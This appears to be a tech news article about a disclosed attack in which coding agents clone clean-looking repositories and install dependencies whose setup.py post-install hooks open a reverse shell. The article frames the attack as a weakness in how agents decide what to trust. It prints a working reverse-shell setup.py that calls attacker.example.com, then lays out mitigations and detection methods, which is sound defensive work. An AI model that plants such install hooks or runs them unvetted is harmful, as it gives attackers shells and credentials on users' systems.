mech.app
Dev Tools

Git-Hosted Malware: How Clean Repos Trick Coding Agents into Running Arbitrary Code

Coding agents clone repos and run setup scripts with minimal validation. This attack vector exploits the trust boundary between static inspection and ru...

Source: bleepingcomputer.com
Git-Hosted Malware: How Clean Repos Trick Coding Agents into Running Arbitrary Code

Mozilla’s Zero Day Investigative Network (0DIN) disclosed an attack vector in June 2026 that exploits the gap between how coding agents inspect repositories and how they execute setup commands. A clean GitHub repo with standard Python setup instructions can deliver a reverse shell without any malicious code visible in the repository itself.

The attack works because agents treat repository cloning and dependency installation as low-risk operations. They scan files for obvious threats but trust the execution environment to be isolated. The payload hides in the installation process, not in committed files.

The Three-Part Attack Surface

The disclosed technique combines three components that individually raise no flags:

  1. Clean repository: Standard project structure, README with setup instructions, requirements.txt with legitimate package names.
  2. Dependency confusion: A malicious package on PyPI or a private index that matches a name in requirements.txt but includes post-install hooks.
  3. Agent execution model: The agent runs pip3 install -r requirements.txt and python3 -m <module> as part of normal setup, assuming the repository owner vetted dependencies.

The agent never sees exploit code. The repository passes static analysis. The malicious logic executes during package installation, when setuptools or pip runs arbitrary Python in setup.py or pyproject.toml build hooks.

Execution Boundaries Agents Fail to Enforce

Most coding agents operate with a trust model that assumes:

  • Cloning a public repository is read-only and safe.
  • Installing dependencies listed in a requirements file is equivalent to trusting the repository author.
  • Running initialization commands (database migrations, asset compilation) is necessary for the agent to complete its task.

This model breaks when the agent has filesystem access, network access, and credentials in environment variables. The attack surface includes:

BoundaryAgent AssumptionReality
Repository trustFiles in the repo are the attack surfaceDependencies and build hooks execute arbitrary code
Sandbox isolationAgent runs in a container or VMContainer often shares host network, has Docker socket access, or runs as root
Credential scopeAgent credentials are scoped to the taskEnvironment variables leak to subprocesses, including pip and setuptools
Execution approvalAgent asks permission for risky commandspip install and python -m are considered safe setup steps

The 0DIN demonstration used Claude Code, but the vulnerability applies to any agent that clones repositories and runs setup commands without process-level isolation or network egress filtering.

How the Payload Hides

A malicious setup.py can execute during pip install:

# setup.py in a malicious package on PyPI
from setuptools import setup
from setuptools.command.install import install
import socket
import subprocess
import os

class PostInstall(install):
    def run(self):
        install.run(self)
        # Reverse shell to attacker-controlled server
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("attacker.example.com", 4444))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(["/bin/sh", "-i"])

setup(
    name="benign-looking-package",
    version="1.0.0",
    cmdclass={"install": PostInstall},
)

The agent runs pip install -r requirements.txt. The requirements file lists benign-looking-package. Pip fetches it from PyPI or a private index, runs setup.py, and the shell opens. The repository itself contains no malicious code. Static analysis tools see a normal Python project.

The attacker can also use:

  • Post-install scripts in package.json for Node.js projects.
  • Build hooks in pyproject.toml (PEP 517 backends).
  • Makefile targets that the agent runs as part of setup.
  • Git hooks if the agent initializes a local Git repository.

What Agents Should Check Before Execution

Effective mitigation requires agents to treat dependency installation as a privileged operation:

  1. Dependency pinning verification: Hash-check every package before installation. Reject requirements files without hashes or lock files.
  2. Network isolation: Run pip and build tools in a network namespace that blocks outbound connections except to approved package indexes.
  3. Filesystem isolation: Mount the repository and dependency cache read-only. Use a separate writable overlay for installed packages.
  4. Credential scrubbing: Strip AWS keys, GitHub tokens, and API credentials from the environment before running subprocesses.
  5. Process sandboxing: Use seccomp-bpf or AppArmor to block socket(), connect(), and execve() syscalls during installation.
  6. Approval gates: Require explicit user confirmation before running any command that installs code, even if it appears in a README.

The challenge is that most agents prioritize task completion over security. They assume the user trusts the repository they asked the agent to work with. This assumption fails when the repository is a social engineering vector or when the agent autonomously discovers and clones repositories as part of a research task.

Observability Gaps

Standard logging does not capture this attack:

  • Agent logs show pip install -r requirements.txt succeeded.
  • Container logs show normal package installation output.
  • Network logs show HTTPS connections to PyPI, which is expected.
  • File integrity monitoring sees new files in site-packages, which is normal after installation.

The reverse shell connection happens after installation completes. It may use HTTPS to blend with legitimate traffic. The agent continues its task, unaware that the environment is compromised.

Effective detection requires:

  • Process ancestry tracking: Flag any shell spawned by pip, setuptools, or npm.
  • Syscall auditing: Alert on socket() or connect() during package installation.
  • Outbound connection allowlists: Block all destinations except approved package indexes during dependency resolution.

Deployment Shapes That Reduce Risk

Agents that run in ephemeral, network-isolated environments limit the blast radius:

  • Firecracker microVMs: Each task runs in a fresh VM with no network access except to a package cache proxy.
  • Kata Containers: Stronger isolation than Docker, with a dedicated kernel per container.
  • Rootless Podman with user namespaces: Prevents privilege escalation even if the container is compromised.
  • Read-only root filesystem: The agent can write to /tmp and a task-specific workspace but cannot modify system binaries or install persistent backdoors.

The tradeoff is task completion rate. Many projects require network access during setup (downloading models, fetching submodules, validating licenses). Agents that enforce strict isolation will fail more tasks, leading users to disable protections.

Likely Failure Modes

This attack vector will evolve:

  1. Dependency confusion at scale: Attackers will squat package names that appear in popular starter templates and example repositories.
  2. Typosquatting for agents: Agents that auto-correct package names or suggest alternatives will install malicious packages with similar names.
  3. Supply chain poisoning: Legitimate packages will be compromised, and agents will install them before the compromise is detected.
  4. Agent-to-agent propagation: A compromised agent that has write access to repositories will commit malicious dependencies, which other agents will then clone and execute.

The root problem is that agents treat code execution as a necessary step in understanding and modifying projects. Until agents can statically analyze dependencies without installing them, or until package ecosystems enforce signature verification and build reproducibility, this attack surface will remain open.

Technical Verdict

Use coding agents with repository access only if:

  • The agent runs in a disposable, network-isolated VM or container.
  • You have explicit approval gates before any pip install, npm install, or make command.
  • You can afford the task failure rate that comes with strict sandboxing.

Avoid coding agents with repository access if:

  • The agent has access to production credentials or sensitive filesystems.
  • You cannot enforce network egress filtering during dependency installation.
  • The agent autonomously discovers and clones repositories without human review.

The 0DIN disclosure shows that the trust boundary between “reading a repository” and “running setup commands” is too weak in current agent architectures. Until agents enforce process-level isolation and treat dependency installation as a privileged operation, clean repositories will remain an effective malware delivery vector.